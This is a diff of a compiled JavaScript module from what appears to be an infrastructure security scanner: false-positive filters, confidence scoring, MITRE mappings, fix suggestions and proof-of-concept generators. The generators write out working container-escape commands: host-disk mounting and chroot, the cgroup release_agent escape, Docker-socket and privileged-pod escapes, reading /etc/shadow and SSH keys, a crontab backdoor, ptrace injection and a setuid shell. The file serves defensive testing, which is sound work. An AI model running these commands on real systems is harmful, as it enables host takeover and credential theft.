+ if (filePath.endsWith(".tf")) {
362
+ return trimmed.startsWith("#") || trimmed.startsWith("//");
363
+ }
364
+ return false;
365
+ }
366
+ function isFalsePositive(match, patternId, file) {
367
+ // Skip example/template files
368
+ if (file.relativePath.includes("example") ||
369
+ file.relativePath.includes("template") ||
370
+ file.relativePath.includes("sample")) {
371
+ return true;
372
+ }
373
+ // Skip test fixtures for secret patterns
374
+ if (patternId.startsWith("secret-") || patternId.includes("aws-credentials")) {
375
+ if (file.relativePath.includes("test") ||
376
+ file.relativePath.includes("spec") ||
377
+ file.relativePath.includes("fixture")) {
378
+ return true;
379
+ }
380
+ }
381
+ // Skip placeholder values
382
+ const lowerMatch = match.toLowerCase();
383
+ if (lowerMatch.includes("example") ||
384
+ lowerMatch.includes("placeholder") ||
385
+ lowerMatch.includes("your-") ||
386
+ lowerMatch.includes("xxx") ||
387
+ lowerMatch.includes("changeme")) {
388
+ return true;
389
+ }
390
+ // Skip environment variable references
391
+ if (match.includes("${") || match.includes("$ENV") || match.includes("${{")) {
392
+ return true;
393
+ }
394
+ // Skip latest tag in base images (common pattern)
395
+ if (patternId === "latest-tag" && match.includes("FROM")) {
396
+ const baseImages = ["alpine", "ubuntu", "debian", "node", "python", "scratch"];
397
+ if (baseImages.some(img => match.toLowerCase().includes(img))) {
398
+ return true;
399
+ }
400
+ }
401
+ return false;
402
+ }
403
+ function calculateConfidence(match, pattern, file) {
404
+ let confidence = 70;
405
+ // Higher confidence for production-looking files
406
+ if (file.relativePath.includes("prod") ||
407
+ file.relativePath.includes("production")) {
408
+ confidence += 10;
409
+ }
410
+ // Higher confidence for critical patterns
411
+ if (pattern.severity === "critical") {
412
+ confidence += 10;
413
+ }
414
+ // Lower confidence for dev/staging files
415
+ if (file.relativePath.includes("dev") ||
416
+ file.relativePath.includes("staging") ||
417
+ file.relativePath.includes("test")) {
418
+ confidence -= 10;
419
+ }
420
+ // Higher confidence for explicit privileged/dangerous settings
421
+ if (match.includes("privileged: true") ||
422
+ match.includes("--privileged") ||
423
+ match.includes("SYS_ADMIN")) {
424
+ confidence += 15;
425
+ }
426
+ return Math.min(95, Math.max(50, confidence));
427
+ }
428
+ function redactSensitive(text) {
429
+ // Redact potential secrets while keeping context
430
+ return text
431
+ .replace(/(['":])\s*[a-zA-Z0-9_\-+=\/]{32,}(['"])/g, "$1[REDACTED]$2")
432
+ .replace(/ey[A-Za-z0-9_\-]+=*/g, "[JWT_REDACTED]")
433
+ .replace(/AKIA[0-9A-Z]{16}/g, "[AWS_KEY_REDACTED]");
434
+ }
435
+ function getMitreIds(patternId) {
436
+ const mapping = {
437
+ "privileged-container": ["T1611", "T1610"],
438
+ "container-capabilities": ["T1611", "T1068"],
439
+ "docker-socket-mount": ["T1611", "T1610"],
440
+ "host-pid-namespace": ["T1611", "T1057"],
441
+ "host-network-namespace": ["T1611", "T1046"],
442
+ "k8s-overly-permissive-rbac": ["T1078", "T1098"],
443
+ "secret-in-dockerfile": ["T1552", "T1078"],
444
+ "secret-in-k8s-manifest": ["T1552", "T1078"],
445
+ "insecure-volume-mount": ["T1611", "T1005"],
446
+ "k8s-allow-privilege-escalation": ["T1611", "T1068"],
447
+ };
448
+ return mapping[patternId] || ["T1610"];
449
+ }
450
+ function getSuggestedFix(patternId) {
451
+ const fixes = {
452
+ "privileged-container": "Remove --privileged flag. Use specific capabilities with --cap-add instead",
453
+ "container-capabilities": "Remove dangerous capabilities. Only add minimal required capabilities",
454
+ "docker-socket-mount": "Never mount Docker socket. Use Docker API with appropriate authentication",
455
+ "host-pid-namespace": "Remove hostPID: true. Use process isolation",
456
+ "host-network-namespace": "Remove hostNetwork: true. Use pod networking with NetworkPolicy",
457
+ "insecure-volume-mount": "Mount only specific subdirectories, use read-only mounts, avoid sensitive paths",
458
+ "k8s-overly-permissive-rbac": "Apply principle of least privilege. Specify exact resources and verbs needed",
459
+ "k8s-default-service-account": "Create dedicated ServiceAccount with minimal permissions",
460
+ "k8s-no-network-policy": "Define NetworkPolicy to restrict pod-to-pod and egress traffic",
461
+ "k8s-allow-privilege-escalation": "Set allowPrivilegeEscalation: false in securityContext",
462
+ "k8s-run-as-root": "Set runAsNonRoot: true and runAsUser to non-zero UID",
463
+ "secret-in-dockerfile": "Use multi-stage builds, mount secrets at runtime, or use secret management tools",
464
+ "secret-in-k8s-manifest": "Use Kubernetes Secret resources, external secret managers (Vault, AWS Secrets Manager)",
465
+ "latest-tag": "Pin specific image versions with SHA256 digest for reproducibility",
466
+ "insecure-registry": "Use HTTPS registries with proper TLS configuration",
467
+ "no-image-signature": "Enable Docker Content Trust (DOCKER_CONTENT_TRUST=1)",
468
+ "helm-tls-disabled": "Enable TLS verification for Helm operations",
469
+ };
470
+ return fixes[patternId] || "Review infrastructure configuration for security best practices";
471
+ }
472
+ // ============================================================================
473
+ // PoC Generators
474
+ // ============================================================================
475
+ function privilegedContainerPoC(finding) {
476
+ const steps = [
477
+ {
478
+ order: 1,
479
+ action: "verify-privileged",
480
+ description: "Verify container is running in privileged mode",
481
+ command: "cat /proc/self/status | grep CapEff",
482
+ expectedResult: "CapEff shows full capabilities (ffffffffffffffff)",
483
+ },
484
+ {
485
+ order: 2,
486
+ action: "mount-host",
487
+ description: "Mount host filesystem from within container",
488
+ command: "mkdir /mnt/host && mount /dev/sda1 /mnt/host",
489
+ expectedResult: "Host filesystem mounted successfully",
490
+ },
491
+ {
492
+ order: 3,
493
+ action: "access-host",
494
+ description: "Access host system files",
495
+ command: "ls -la /mnt/host/root && cat /mnt/host/etc/shadow",
496
+ expectedResult: "Full read access to host filesystem",
497
+ },
498
+ {
499
+ order: 4,
500
+ action: "escape-container",
501
+ description: "Execute commands on host via chroot",
502
+ command: "chroot /mnt/host /bin/bash",
503
+ expectedResult: "Shell on host system (complete container escape)",
504
+ },
505
+ ];
506
+ return {
507
+ id: `poc-${finding.id}`,
508
+ findingId: finding.id,
509
+ prerequisites: [
510
+ "Access to privileged container",
511
+ "Knowledge of host device names",
512
+ ],
513
+ steps,
514
+ payload: "mount /dev/sda1 /mnt/host && chroot /mnt/host /bin/bash",
515
+ expectedResult: "Complete container escape with root access to host",
516
+ safeTestInstructions: "Test only on isolated VM or container runtime. NEVER run on production systems. Privileged containers have full host access.",
517
+ };
518
+ }
519
+ function containerEscapePoC(finding) {
520
+ const steps = [
521
+ {
522
+ order: 1,
523
+ action: "check-capabilities",
524
+ description: "Check container capabilities",
525
+ command: "capsh --print",
526
+ expectedResult: "Verify dangerous capabilities like SYS_ADMIN",
527
+ },
528
+ {
529
+ order: 2,
530
+ action: "create-cgroup",
531
+ description: "Create cgroup to exploit release_agent",
532
+ command: "mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp",
533
+ expectedResult: "Cgroup mounted (requires SYS_ADMIN)",
534
+ },
535
+ {
536
+ order: 3,
537
+ action: "exploit-release-agent",
538
+ description: "Set release_agent to execute on host",
539
+ command: `echo 1 > /tmp/cgrp/notify_on_release && echo "\$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent`,
540
+ expectedResult: "Release agent configured to run on host",
541
+ },
542
+ {
543
+ order: 4,
544
+ action: "trigger-escape",
545
+ description: "Trigger release_agent execution on host",
546
+ command: "sh -c 'echo \$\$ > /tmp/cgrp/cgroup.procs'",
547
+ expectedResult: "Command executed on host system",
548
+ },
549
+ ];
550
+ return {
551
+ id: `poc-${finding.id}`,
552
+ findingId: finding.id,
553
+ prerequisites: [
554
+ "Container with SYS_ADMIN capability",
555
+ "Access to container shell",
556
+ ],
557
+ steps,
558
+ payload: "cgroup release_agent exploit via SYS_ADMIN capability",
559
+ expectedResult: "Container escape and code execution on host",
560
+ safeTestInstructions: "Test on isolated container environment only. This is a known escape technique. Verify SYS_ADMIN is removed after fix.",
561
+ };
562
+ }
563
+ function dockerSocketPoC(finding) {
564
+ const steps = [
565
+ {
566
+ order: 1,
567
+ action: "verify-socket",
568
+ description: "Verify Docker socket is accessible",
569
+ command: "ls -la /var/run/docker.sock",
570
+ expectedResult: "Docker socket readable/writable from container",
571
+ },
572
+ {
573
+ order: 2,
574
+ action: "install-docker-client",
575
+ description: "Install Docker client in container (if not present)",
576
+ command: "apk add docker-cli || apt-get install docker.io",
577
+ expectedResult: "Docker client available",
578
+ },
579
+ {
580
+ order: 3,
581
+ action: "list-containers",
582
+ description: "List all containers on host",
583
+ command: "docker ps",
584
+ expectedResult: "All host containers visible",
585
+ },
586
+ {
587
+ order: 4,
588
+ action: "create-privileged-container",
589
+ description: "Create new privileged container with host filesystem mounted",
590
+ command: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
591
+ expectedResult: "Root shell on host system",
592
+ },
593
+ ];
594
+ return {
595
+ id: `poc-${finding.id}`,
596
+ findingId: finding.id,
597
+ prerequisites: [
598
+ "Container with Docker socket mounted",
599
+ "Ability to install packages or Docker client present",
600
+ ],
601
+ steps,
602
+ payload: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
603
+ expectedResult: "Complete container escape via Docker socket",
604
+ safeTestInstructions: "Test on isolated Docker host only. Never mount Docker socket in production containers. This provides complete host control.",
605
+ };
606
+ }
607
+ function k8sRbacPoC(finding) {
608
+ const steps = [
609
+ {
610
+ order: 1,
611
+ action: "check-permissions",
612
+ description: "Verify overly permissive RBAC",
613
+ command: "kubectl auth can-i --list",
614
+ expectedResult: "List all available permissions",
615
+ },
616
+ {
617
+ order: 2,
618
+ action: "list-secrets",
619
+ description: "Extract secrets from all namespaces",
620
+ command: "kubectl get secrets --all-namespaces -o json",
621
+ expectedResult: "All cluster secrets visible",
622
+ },
623
+ {
624
+ order: 3,
625
+ action: "create-privileged-pod",
626
+ description: "Create privileged pod with host access",
627
+ command: `kubectl apply -f - <<EOF
628
+ apiVersion: v1
629
+ kind: Pod
630
+ metadata:
631
+ name: escape-pod
632
+ spec:
633
+ hostPID: true
634
+ hostNetwork: true
635
+ containers:
636
+ - name: escape
637
+ image: alpine
638
+ command: ["/bin/sh"]
639
+ securityContext:
640
+ privileged: true
641
+ volumeMounts:
642
+ - name: host
643
+ mountPath: /host
644
+ volumes:
645
+ - name: host
646
+ hostPath:
647
+ path: /
648
+ EOF`,
649
+ expectedResult: "Privileged pod created with host access",
650
+ },
651
+ {
652
+ order: 4,
653
+ action: "escape-to-node",
654
+ description: "Execute commands on Kubernetes node",
655
+ command: "kubectl exec -it escape-pod -- chroot /host /bin/bash",
656
+ expectedResult: "Shell on Kubernetes node",
657
+ },
658
+ ];
659
+ return {
660
+ id: `poc-${finding.id}`,
661
+ findingId: finding.id,
662
+ prerequisites: [
663
+ "Service account with overly permissive RBAC",
664
+ "kubectl access from pod or external",
665
+ ],
666
+ steps,
667
+ payload: "Create privileged pod via excessive RBAC permissions",
668
+ expectedResult: "Cluster takeover via RBAC escalation",
669
+ safeTestInstructions: "Test on dedicated test cluster only. Never test on production Kubernetes. Clean up pods after testing.",
670
+ };
671
+ }
672
+ function secretExtractionPoC(finding) {
673
+ const steps = [
674
+ {
675
+ order: 1,
676
+ action: "identify-secret",
677
+ description: "Identify the hardcoded secret in configuration",
678
+ command: `Review ${finding.file}:${finding.line}`,
679
+ expectedResult: "Secret visible in source/manifest",
680
+ },
681
+ {
682
+ order: 2,
683
+ action: "extract-secret",
684
+ description: "Extract secret from image or running container",
685
+ command: "docker inspect <image> | grep -i 'env\\|secret' || kubectl get secret <name> -o yaml",
686
+ expectedResult: "Secret extracted successfully",
687
+ },
688
+ {
689
+ order: 3,
690
+ action: "use-secret",
691
+ description: "Use extracted secret to access protected resources",
692
+ command: "curl -H 'Authorization: Bearer <extracted_secret>' https://api.example.com",
693
+ expectedResult: "Unauthorized access via extracted credentials",
694
+ },
695
+ ];
696
+ return {
697
+ id: `poc-${finding.id}`,
698
+ findingId: finding.id,
699
+ prerequisites: [
700
+ "Access to container image or Kubernetes manifests",
701
+ "Knowledge of what the secret unlocks",
702
+ ],
703
+ steps,
704
+ payload: "[EXTRACTED_SECRET]",
705
+ expectedResult: "Unauthorized access using hardcoded credentials",
706
+ safeTestInstructions: "Extract secrets only in test environments. Immediately rotate any exposed secrets. Never use extracted credentials on production systems.",
707
+ };
708
+ }
709
+ function hostPathPoC(finding) {
710
+ const steps = [
711
+ {
712
+ order: 1,
713
+ action: "verify-mount",
714
+ description: "Verify host path is mounted in container",
715
+ command: "df -h | grep -E '/$|/root|/etc'",
716
+ expectedResult: "Host path visible in container",
717
+ },
718
+ {
719
+ order: 2,
720
+ action: "read-host-files",
721
+ description: "Read sensitive host files",
722
+ command: "cat /host/etc/shadow || cat /host/root/.ssh/id_rsa",
723
+ expectedResult: "Access to sensitive host data",
724
+ },
725
+ {
726
+ order: 3,
727
+ action: "modify-host-files",
728
+ description: "Modify host files if mount is writable",
729
+ command: "echo '* * * * * root /tmp/backdoor.sh' >> /host/etc/crontab",
730
+ expectedResult: "Persistent backdoor on host",
731
+ },
732
+ ];
733
+ return {
734
+ id: `poc-${finding.id}`,
735
+ findingId: finding.id,
736
+ prerequisites: [
737
+ "Container with sensitive host path mounted",
738
+ "Mount is readable or writable",
739
+ ],
740
+ steps,
741
+ payload: "Access host filesystem via insecure volume mount",
742
+ expectedResult: "Read/write access to host filesystem",
743
+ safeTestInstructions: "Test on isolated container host only. Use read-only test files. Never modify production host filesystems.",
744
+ };
745
+ }
746
+ function hostNamespacePoC(finding) {
747
+ const steps = [
748
+ {
749
+ order: 1,
750
+ action: "verify-host-pid",
751
+ description: "Verify container is sharing host PID namespace",
752
+ command: "ps aux",
753
+ expectedResult: "Host processes visible from container",
754
+ },
755
+ {
756
+ order: 2,
757
+ action: "identify-target",
758
+ description: "Identify privileged host process",
759
+ command: "ps aux | grep -E 'root|dockerd|kubelet'",
760
+ expectedResult: "Host system processes with PID visible",
761
+ },
762
+ {
763
+ order: 3,
764
+ action: "inject-process",
765
+ description: "Inject code into host process via ptrace",
766
+ command: "gdb -p <host_pid> -batch -ex 'call system(\"/tmp/payload.sh\")'",
767
+ expectedResult: "Code execution in host process context",
768
+ },
769
+ ];
770
+ return {
771
+ id: `poc-${finding.id}`,
772
+ findingId: finding.id,
773
+ prerequisites: [
774
+ "Container with hostPID: true",
775
+ "ptrace capabilities",
776
+ "gdb or debugging tools",
777
+ ],
778
+ steps,
779
+ payload: "Process injection via shared PID namespace",
780
+ expectedResult: "Code execution in host process context",
781
+ safeTestInstructions: "Test on isolated system only. Process injection can crash services. Never test on production systems.",
782
+ };
783
+ }
784
+ function privEscalationPoC(finding) {
785
+ const steps = [
786
+ {
787
+ order: 1,
788
+ action: "verify-escalation-allowed",
789
+ description: "Verify allowPrivilegeEscalation is true",
790
+ command: "cat /proc/self/status | grep NoNewPrivs",
791
+ expectedResult: "NoNewPrivs: 0 (escalation allowed)",
792
+ },
793
+ {
794
+ order: 2,
795
+ action: "create-setuid-binary",
796
+ description: "Create setuid binary if filesystem is writable",
797
+ command: "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash",
798
+ expectedResult: "Setuid binary created",
799
+ },
800
+ {
801
+ order: 3,
802
+ action: "escalate-privileges",
803
+ description: "Execute setuid binary to gain elevated privileges",
804
+ command: "/tmp/rootbash -p",
805
+ expectedResult: "Shell with elevated privileges",
806
+ },
807
+ ];
808
+ return {
809
+ id: `poc-${finding.id}`,
810
+ findingId: finding.id,
811
+ prerequisites: [
812
+ "Container with allowPrivilegeEscalation: true",
813
+ "Writable filesystem",
814
+ "Setuid binaries available",
815
+ ],
816
+ steps,
817
+ payload: "Privilege escalation via setuid exploit",
818
+ expectedResult: "Elevated privileges within container",
819
+ safeTestInstructions: "Test in isolated container. Set allowPrivilegeEscalation: false in securityContext to prevent this attack.",
820
+ };
821
+ }
822
+ // ============================================================================
823
+ // Register Tactic
824
+ // ============================================================================
825
+ registerTactic(infraTactic);
826
+ export { infraTactic };
827
+ //# sourceMappingURL=infra.js.map